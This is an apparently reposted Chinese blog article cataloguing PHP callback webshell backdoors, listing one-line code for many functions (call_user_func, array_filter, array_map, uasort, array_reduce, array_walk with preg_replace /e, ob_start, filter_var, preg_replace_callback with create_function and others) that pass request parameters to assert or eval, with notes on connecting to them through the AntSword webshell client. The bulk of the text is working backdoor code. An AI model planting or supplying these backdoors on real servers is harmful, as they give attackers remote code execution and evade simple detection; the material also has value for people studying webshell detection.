当前位置: 首页 > article >正文

PHP回调后门小总结

目录

1.call_user_func

函数说明

蚁剑连接

2.数组操作造成的单参数回调后门

array_filter

函数说明

 蚁剑连接

array_map

函数说明

 蚁剑连接

3.二参数回调函数

uasort

函数说明

uksort

array_reduce

array_udiff

蚁剑连接

4.三参数的回调后门

array_walk

函数说明

array_walk_recursive

 mb_ereg_replace

preg_filter

蚁剑连接

 5.无明显回调后门

ob_start

函数说明

6. 其他单参数后门

register_shutdown_function

egister_tick_function

filter_var/filter_var_array

7.其他参数型回调后门

preg_replace_callback

mb_ereg_replace_callback


1.call_user_func

函数说明

call_user_func(callable $callback, mixed ...$args): mixed

 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

php中call_user_func是执行回调函数的标准方法,这是一个比较老的后门。

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用

call_user_func_array('assert',array( $_REQUEST['pass']));

assert作为回调函数,把参数数组作$_REQUEST['pass']为回调函数的的参数传入。

 实际上这个函数就相当于assert($_REOUEST)

注意assert这个函数在php7.4以后的版本无法使用

蚁剑连接

但是当我们使用GET接参和不加eval函数时,我们为什么连接无法成功?

2.数组操作造成的单参数回调后门

array_filter

函数说明

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

 遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数,用指定函数过滤数组元素。

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

base64_decode($e)是回调函数,是assert(YXNzZXJ0)。assert要执行代码,执行的是$arr,$arr是从$_POST提交过来的

 蚁剑连接

array_map

函数说明

array_map(?callable $callback, array $array, array ...$arrays): array

 这个函数只是把回调函数放在了第一个参数的位置

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

 蚁剑连接

这个函数的连接跟array_filter没有区别

3.二参数回调函数

assert(mixed $assertion, Throwable|string|null $description = null): bool

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

uasort

函数说明

uasort(array &$array, callable $callback): true

 使用用户定义的比较函数对数组进行排序并保持索引关联

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

传入的'test', $_REQUEST['pass']都要交给回调函数去处理。

这个后门在php5.3时会报错,提示assert只能有一个参数。

面向对象的方法:

<?php
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

<?php

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

uksort

<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

array_reduce

array_reduce(array $array, callable $callback, mixed $initial = null): mixed

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中,从而将数组简化为单一的值。

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

                     数组,回调函数,参数

array_udiff

array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

 使用内置函数进行数据比较,对比 array 和其他一个或者多个数组,返回在 array 中但是不在其他 array 里的值。

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

蚁剑连接

以上几个函数都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。这里以array_reduce函数示例

4.三参数的回调后门

array_walk

函数说明

array_walk(array|object &$array, callable $callback, mixed $arg = null): true

 将用户自定义函数 callback 应用到 array 数组中的每个单元。将用户自定义函数 callback 应用到 array 数组中的每个单元。

三个参数:preg_replace /e模式,所以我们要构造一个array_walk + preg_replace的回调后门

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, ' ');

preg_replace(
    string|array $pattern,
    string|array $replacement,
    string|array $subject,
    int $limit = -1,
    int &$count = null
): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:'"、 \ 和 NULL) 然后进行后向引用替换。  

preg_replace 使用了 /e 模式,导致了代码可以被执行。php7.3 版本之前 preg_replace使用/E模式,都会导致代码执行

在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。

 我们使用array_walk写的回调后门,利用/e模式, '|.*|e'匹配$pass,那eval直接执行我们传入pass的值

相当于 e=preg_replace(|.*|e,$_POST['pass'],' ')-->eval($_POST['pass'])

array_walk_recursive

这个函数与上面的函数是一样的就不做说明了

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

 mb_ereg_replace

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

preg_filter

<?php
preg_filter('|.*|e', $_REQUEST['pass'], ''); 

蚁剑连接

以array_walk为例

 5.无明显回调后门

ob_start

函数说明

ob_start(?callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

打开输出控制缓冲

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了

<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

即使没输出,无法用蚁剑连接。但是实际代码是执行了的。也算作回调后门的一种。

可以利用file_put_contents把一句话木马写进去

6. 其他单参数后门

register_shutdown_function

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

egister_tick_function

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']); 

filter_var/filter_var_array

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); 

filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

7.其他参数型回调后门

 回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

所以我们需要去“构造”一个满足条件的回调函数。

这就依赖于creat_function函数,但是这个函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除

preg_replace_callback

<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

mb_ereg_replace_callback

<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']); 

这些回调后门在2025的环境下基本全部失效,仅作参考 


http://www.kler.cn/a/619489.html

相关文章:

  • ubuntu 安装 postgresql
  • 微前端深度解析:架构演进与实践全景
  • 爬虫学习-爬取古诗
  • 宝塔面板面试内容整理-支持的操作系统
  • VUE3 路由传参
  • Ubuntu20.04系统安装IsaacSim4.5与IsaacLab环境
  • NoSQL 数据库深度解析与 20 款产品对比
  • Kubernetes》》k8s》》Replication Controller
  • 【Linux】嵌入式Web服务库:mongoose
  • VS2022 Qt 项目使用数据库报错问题
  • AWS云安全全面详解:从基础防护到高级威胁应对
  • 基于FPGA的智能垃圾分类装置(论文+源码)
  • 服务器是指什么,都有哪些用途?
  • 海康巴斯勒工业相机图像效果差异分析
  • lxd-dashboard 图形管理LXD/LXC
  • Python 练习项目:MBTI 命令行测试工具
  • mac idea的快捷键
  • DBeaver Error : Public Key Retrieval is not allowed
  • 如何在 Postman 中配置并发送 JSON 格式的 POST 请求?
  • MAC安装docker 后提示com.docker.vmnetd”将对您的电脑造成伤害